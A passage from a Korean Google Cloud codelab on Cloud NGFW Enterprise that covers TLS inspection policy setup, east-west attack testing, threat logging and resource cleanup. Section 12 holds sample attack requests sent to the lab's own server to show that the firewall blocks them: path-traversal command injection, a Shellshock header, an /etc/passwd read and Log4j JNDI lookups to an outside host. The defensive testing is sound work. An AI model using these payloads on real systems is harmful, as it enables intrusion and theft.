      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

트러스트 구성을 가져옵니다.

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

트러스트 구성을 포함하도록 TLS 정책 YAML 파일을 업데이트합니다.

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

업데이트된 TLS 정책을 가져옵니다.

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W TLS 검사 유효성 검사

클라이언트로 다시 SSH하여 업데이트된 신뢰 구성으로 E/W 트래픽을 테스트합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

서버에 대한 샘플 TLS 요청을 실행합니다.

curl https://$target_privateip --max-time 2

그래도 아래 출력이 표시되면 업데이트가 적용될 때까지 기다리세요.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

예상 출력:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

서버에 악성 테스트 트래픽을 전송합니다.

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

예상 출력:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

아래의 예상 출력과 같이 응답이 수신되지 않으므로 이제 샘플 공격이 E/W에서 차단되고 있음을 확인할 수 있습니다.

13. 로깅

Cloud Console에서 Logging > Logs Explorer로 이동하여 아래 필터를 입력하고 로그를 쿼리합니다. [PROJECT_ID] 를 project_id로 바꿉니다.

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 로그 항목은 아래와 같이 표시됩니다.

5b68cc1063c0f4bd.png

로그 항목을 펼치고 클라이언트 VM에서 서버로 전송된 공격이 식별되고 차단되었음을 확인합니다 (아래 스크린샷 참고: Apache Log4j 원격 코드 실행 취약점).

478f18f8481e90ed.png

TLS 검사를 사용하여 악의적인 요청을 차단하는 Cloud NGFW Enterprise를 배포했습니다.

다음 섹션으로 이동하여 정리 단계를 진행합니다.

14. 정리 단계

기본 설정 정리

인스턴스를 삭제합니다.

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin 및 tagUsers 역할이 변경된 경우 아래 단계를 따르세요.

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

태그 키 및 값을 삭제합니다.

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud 방화벽 네트워크 정책 및 연결을 삭제합니다.

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router 및 Cloud NAT를 삭제합니다.

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

예약된 IP 주소를 삭제합니다.

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, 연결, TLS 정리

다음 순서대로 보안 프로필 그룹과 위협 프로필을 삭제합니다.

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud Firewall 엔드포인트 연결을 삭제합니다.

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall 엔드포인트를 삭제합니다. 이 작업은 20분 정도 걸릴 수 있습니다.

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

원하는 경우 다음 명령어를 실행하여 Cloud NGFW 엔드포인트가 삭제되었는지 확인합니다.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

엔드포인트의 상태는 다음과 같이 표시됩니다.

STATE: DELETING

완료되면 엔드포인트가 더 이상 표시되지 않습니다.

다음 순서대로 TLS 정책 및 트러스트 구성을 삭제합니다.

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

루트 CA 및 CA 풀을 사용 중지하고 삭제합니다.

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

서브넷 및 VPC 정리

마지막으로 서브넷 및 VPC 네트워크를 삭제합니다.

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 축하합니다.

축하합니다. East-West 및 Northbound TLS 검사를 위한 Cloud NGFW Enterprise Codelab을 완료했습니다.